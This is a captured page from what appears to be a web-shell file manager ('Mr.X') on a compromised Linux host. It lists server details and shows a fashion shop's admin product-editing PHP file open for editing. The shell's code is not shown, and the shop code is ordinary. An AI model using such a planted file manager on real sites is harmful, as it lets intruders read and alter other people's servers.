🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:product_edit.php
<?php require_once __DIR__ . '/admin_header.php'; $error = ''; $success = ''; $product = null; $categories = []; if (!isset($_GET['id'])) { header("Location: products.php"); exit; } $prod_id = intval($_GET['id']); // Fetch categories for dropdown try { $stmt_cats = $pdo->query("SELECT id, name FROM categories ORDER BY name ASC"); $categories = $stmt_cats->fetchAll(); } catch (Exception $e) { $error = 'Failed to load categories: ' . $e->getMessage(); } // Fetch active colors and sizes for checkboxes $colors = []; $sizes = []; $assigned_colors = []; $assigned_sizes = []; try { $colors = $pdo->query("SELECT * FROM colors ORDER BY name ASC")->fetchAll(); $sizes = $pdo->query("SELECT * FROM sizes ORDER BY id ASC")->fetchAll(); // Fetch assigned colors for current product $stmt_assigned_colors = $pdo->prepare("SELECT color_id FROM product_colors WHERE product_id = ?"); $stmt_assigned_colors->execute([$prod_id]); $assigned_colors = $stmt_assigned_colors->fetchAll(PDO::FETCH_COLUMN); // Fetch assigned sizes for current product $stmt_assigned_sizes = $pdo->prepare("SELECT size_id FROM product_sizes WHERE product_id = ?"); $stmt_assigned_sizes->execute([$prod_id]); $assigned_sizes = $stmt_assigned_sizes->fetchAll(PDO::FETCH_COLUMN); } catch (Exception $e) { $error = 'Failed to load custom attributes: ' . $e->getMessage(); } // Fetch existing product details try { $stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?"); $stmt->execute([$prod_id]); $product = $stmt->fetch(); if (!$product) { header("Location: products.php"); exit; } } catch (Exception $e) { $error = 'Error loading product: ' . $e->getMessage(); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = isset($_POST['name']) ? trim($_POST['name']) : ''; $description = isset($_POST['description']) ? trim($_POST['description']) : ''; $price = isset($_POST['price']) ? floatval($_POST['price']) : 0.00; $category_id = isset($_POST['category_id']) ? intval($_POST['category_id']) : 0; $stock = isset($_POST['stock']) ? intval($_POST['stock']) : 0; $is_featured = isset($_POST['is_featured']) ? 1 : 0; $selected_colors = isset($_POST['colors']) ? $_POST['colors'] : []; $selected_sizes = isset($_POST['sizes']) ? $_POST['sizes'] : []; if (empty($name) || empty($description) || $price <= 0 || $category_id <= 0) { $error = 'Please fill out all required fields: Name, Description, Category, and a valid Price.'; } else { try { $image_filename = $product['image']; // Default to current image // Handle Image Upload if selected if (isset($_FILES['image']) && $_FILES['image']['error'] === UPLOAD_ERR_OK) { $file_tmp = $_FILES['image']['tmp_name']; $file_name = $_FILES['image']['name']; $file_size = $_FILES['image']['size']; $file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION)); $allowed_exts = ['png', 'jpg', 'jpeg', 'webp']; if (!in_array($file_ext, $allowed_exts)) { $error = 'Invalid image type. Only PNG, JPG, JPEG, and WEBP formats are accepted.'; } elseif ($file_size > 5 * 1024 * 1024) { $error = 'Image file size is too large. Keep uploads under 5 megabytes.'; } else { // Create unique target filename $new_image_filename = 'prod_' . time() . '_' . uniqid() . '.' . $file_ext; $upload_dir = __DIR__ . '/../assets/images/'; if (move_uploaded_file($file_tmp, $upload_dir . $new_image_filename)) { // Delete old custom product image if exists if (!empty($product['image']) && file_exists($upload_dir . $product['image']) && strpos($product['image'], 'prod_') !== false) { @unlink($upload_dir . $product['image']); } $image_filename = $new_image_filename; } else { $error = 'Failed to save product image to local storage.'; } } } if (empty($error)) { $pdo->beginTransaction(); // Update product in database $stmt_update = $pdo->prepare("UPDATE products SET name = ?, description = ?, price = ?, category_id = ?, image = ?, stock = ?, is_featured = ? WHERE id = ?"); $stmt_update->execute([$name, $description, $price, $category_id, $image_filename, $stock, $is_featured, $prod_id]); // Clear previous colors and sizes $stmt_clear_colors = $pdo->prepare("DELETE FROM product_colors WHERE product_id = ?"); $stmt_clear_colors->execute([$prod_id]); $stmt_clear_sizes = $pdo->prepare("DELETE FROM product_sizes WHERE product_id = ?"); $stmt_clear_sizes->execute([$prod_id]); // Re-insert selected colors if (!empty($selected_colors)) { $stmt_prod_color = $pdo->prepare("INSERT INTO product_colors (product_id, color_id) VALUES (?, ?)"); foreach ($selected_colors as $cid) { $stmt_prod_color->execute([$prod_id, intval($cid)]); } } // Re-insert selected sizes if (!empty($selected_sizes)) { $stmt_prod_size = $pdo->prepare("INSERT INTO product_sizes (product_id, size_id) VALUES (?, ?)"); foreach ($selected_sizes as $sid) { $stmt_prod_size->execute([$prod_id, intval($sid)]); } } $pdo->commit(); // Refresh local variables for page rendering $assigned_colors = $selected_colors; $assigned_sizes = $selected_sizes; $success = 'Product updated successfully! Redirecting back...'; // Refresh local product details $product['name'] = $name; $product['description'] = $description; $product['price'] = $price; $product['category_id'] = $category_id; $product['image'] = $image_filename; $product['stock'] = $stock; $product['is_featured'] = $is_featured; echo "<script>setTimeout(() => { window.location.href = 'products.php'; }, 1500);</script>"; } } catch (Exception $e) { if ($pdo->inTransaction()) { $pdo->rollBack(); } $error = 'Database update transaction failed: ' . $e->getMessage(); } } } ?> <div class="row mb-4"> <div class="col-12"> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li> <li class="breadcrumb-item"><a href="products.php">Products</a></li> <li class="breadcrumb-item active" aria-current="page">Edit Product</li> </ol> </nav> <h2 class="text-white">Refine Product Details</h2> <p class="text-muted small">Update classifications, listings, and assets for "<?php echo htmlspecialchars($product['name'] ?? ''); ?>".</p> </div> </div> <div class="row justify-content-center"> <div class="col-lg-10"> <div class="admin-card"> <?php if (!empty($error)): ?> <div class="alert alert-danger border-danger bg-dark text-danger rounded-3 py-2 px-3 small mb-4" role="alert"> <i class="fa-solid fa-circle-exclamation me-2"></i> <?php echo htmlspecialchars($error); ?> </div> <?php endif; ?> <?php if (!empty($success)): ?> <div class="alert alert-success border-success bg-dark text-success rounded-3 py-2 px-3 small mb-4" role="alert"> <i class="fa-solid fa-circle-check me-2"></i> <?php echo htmlspecialchars($success); ?> </div> <?php endif; ?> <form action="product_edit.php?id=<?php echo $prod_id; ?>" method="POST" enctype="multipart/form-data"> <div class="row g-4"> <!-- Product Title --> <div class="col-md-8"> <label for="name" class="form-label text-muted small text-uppercase fw-bold">Product Name *</label> <input type="text" class="form-control" id="name" name="name" required value="<?php echo htmlspecialchars($product['name']); ?>" placeholder="e.g. Classic Trench Coat"> </div> <!-- Category selection --> <div class="col-md-4"> <label for="category_id" class="form-label text-muted small text-uppercase fw-bold">Category Classification *</label> <select class="form-select" id="category_id" name="category_id" required> <option value="" disabled>Select Category</option> <?php foreach ($categories as $cat): ?> <option value="<?php echo $cat['id']; ?>" <?php echo ($cat['id'] == $product['category_id']) ? 'selected' : ''; ?>> <?php echo htmlspecialchars($cat['name']); ?> </option> <?php endforeach; ?> </select> </div> <!-- Pricing & Inventory --> <div class="col-md-4"> <label for="price" class="form-label text-muted small text-uppercase fw-bold">Boutique Price (LKR) *</label> <div class="input-group"> <span class="input-group-text bg-dark border-secondary text-warning fw-bold">LKR</span> <input type="number" class="form-control" id="price" name="price" step="0.01" min="0" required value="<?php echo htmlspecialchars($product['price']); ?>" placeholder="4250.00"> </div> </div> <div class="col-md-4"> <label for="stock" class="form-label text-muted small text-uppercase fw-bold">Inventory Stock Level</label> <input type="number" class="form-control" id="stock" name="stock" min="0" required value="<?php echo htmlspecialchars($product['stock']); ?>" placeholder="10"> </div> <!-- Spotlight --> <div class="col-md-4 d-flex align-items-center"> <div class="form-check form-switch mt-3 mt-md-4"> <input class="form-check-input bg-dark border-secondary" type="checkbox" id="is_featured" name="is_featured" value="1" <?php echo ($product['is_featured'] == 1) ? 'checked' : ''; ?>> <label class="form-check-input-label text-white ms-2" for="is_featured" style="cursor: pointer;"> <i class="fa-solid fa-star text-warning me-1"></i> Spotlight on Homepage </label> </div> </div> <!-- Product Description --> <div class="col-12"> <label for="description" class="form-label text-muted small text-uppercase fw-bold">Description Details *</label> <textarea class="form-control" id="description" name="description" rows="5" required placeholder="Describe details..."><?php echo htmlspecialchars($product['description']); ?></textarea> </div> <!-- Couture Attributes (Colors & Sizes) --> <div class="col-md-6"> <label class="form-label text-muted small text-uppercase fw-bold d-block mb-3">Available Couture Colors</label> <div class="d-flex flex-wrap gap-3 p-3 rounded bg-dark border border-secondary" style="min-height: 100px;"> <?php if (empty($colors)): ?> <span class="text-white small">No colors defined. Add them in <a href="colors.php" class="text-warning">Colors Settings</a>.</span> <?php else: ?> <?php foreach ($colors as $c): ?> <?php $checked = in_array($c['id'], $assigned_colors) ? 'checked' : ''; ?> <div class="form-check d-flex align-items-center gap-2"> <input class="form-check-input bg-dark border-secondary" type="checkbox" name="colors[]" value="<?php echo $c['id']; ?>" id="color-<?php echo $c['id']; ?>" <?php echo $checked; ?>> <label class="form-check-label text-white d-flex align-items-center gap-2" for="color-<?php echo $c['id']; ?>" style="cursor: pointer;"> <span class="rounded-circle d-inline-block" style="width: 18px; height: 18px; background-color: <?php echo $c['hex']; ?>; border: 1px solid <?php echo $c['border']; ?>;"></span> <span class="small"><?php echo htmlspecialchars($c['name']); ?></span> </label> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <div class="col-md-6"> <label class="form-label text-muted small text-uppercase fw-bold d-block mb-3">Available Couture Sizes</label> <div class="d-flex flex-wrap gap-3 p-3 rounded bg-dark border border-secondary" style="min-height: 100px;"> <?php if (empty($sizes)): ?> <span class="text-white small">No sizes defined. Add them in <a href="sizes.php" class="text-warning">Sizes Settings</a>.</span> <?php else: ?> <?php foreach ($sizes as $s): ?> <?php $checked = in_array($s['id'], $assigned_sizes) ? 'checked' : ''; ?> <div class="form-check d-flex align-items-center gap-2"> <input class="form-check-input bg-dark border-secondary" type="checkbox" name="sizes[]" value="<?php echo $s['id']; ?>" id="size-<?php echo $s['id']; ?>" <?php echo $checked; ?>> <label class="form-check-label text-white fw-bold small" for="size-<?php echo $s['id']; ?>" style="cursor: pointer;"> <?php echo htmlspecialchars($s['name']); ?> </label> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <!-- Product image --> <div class="col-12"> <label for="image" class="form-label text-muted small text-uppercase fw-bold">Update Showcase Image</label> <input type="file" class="form-control" id="image" name="image" accept="image/*" onchange="previewFile()"> <div class="form-text text-muted mb-3" style="font-size: 0.7rem;">Leave empty to retain the current image asset. PNG, JPG, JPEG, WEBP. Max 5MB.</div> <!-- Previews Grid --> <div class="row g-3"> <!-- Current Image --> <?php if (!empty($product['image'])): ?> <div class="col-6 col-sm-3"> <span class="d-block text-muted small mb-2 text-uppercase fw-bold" style="font-size: 0.65rem;">Active Image Asset:</span> <img src="../assets/images/<?php echo htmlspecialchars($product['image']); ?>" alt="Current Image" class="rounded" style="max-width: 100%; height: 180px; object-fit: cover; border: 1px solid var(--border-gray);"> </div> <?php endif; ?> <!-- Live New Image Preview --> <div id="preview-container" class="col-6 col-sm-3 d-none"> <span class="d-block text-muted small mb-2 text-uppercase fw-bold" style="font-size: 0.65rem;">Newly Selected Image:</span> <img id="image-preview" src="#" alt="New Preview" class="rounded" style="max-width: 100%; height: 180px; object-fit: cover; border: 1px solid var(--accent-gold);"> </div> </div> </div> <!-- Action buttons --> <div class="col-12 mt-5 border-top border-dark pt-4 d-flex gap-3 justify-content-end"> <a href="products.php" class="btn btn-outline-secondary rounded-pill px-4 py-2 text-uppercase tracking-wider fw-bold" style="font-size: 0.75rem; border-color: var(--border-gray);"> Cancel </a> <button type="submit" class="btn-luxury px-4 py-2"> Save Changes <i class="fa-solid fa-check-double ms-2"></i> </button> </div> </div> </form> </div> </div> </div> <script> function previewFile() { const preview = document.getElementById('image-preview'); const container = document.getElementById('preview-container'); const file = document.getElementById('image').files[0]; const reader = new FileReader(); reader.addEventListener("load", function () { preview.src = reader.result; container.classList.remove('d-none'); }, false); if (file) { reader.readAsDataURL(file); } } </script> <?php require_once __DIR__ . '/admin_footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder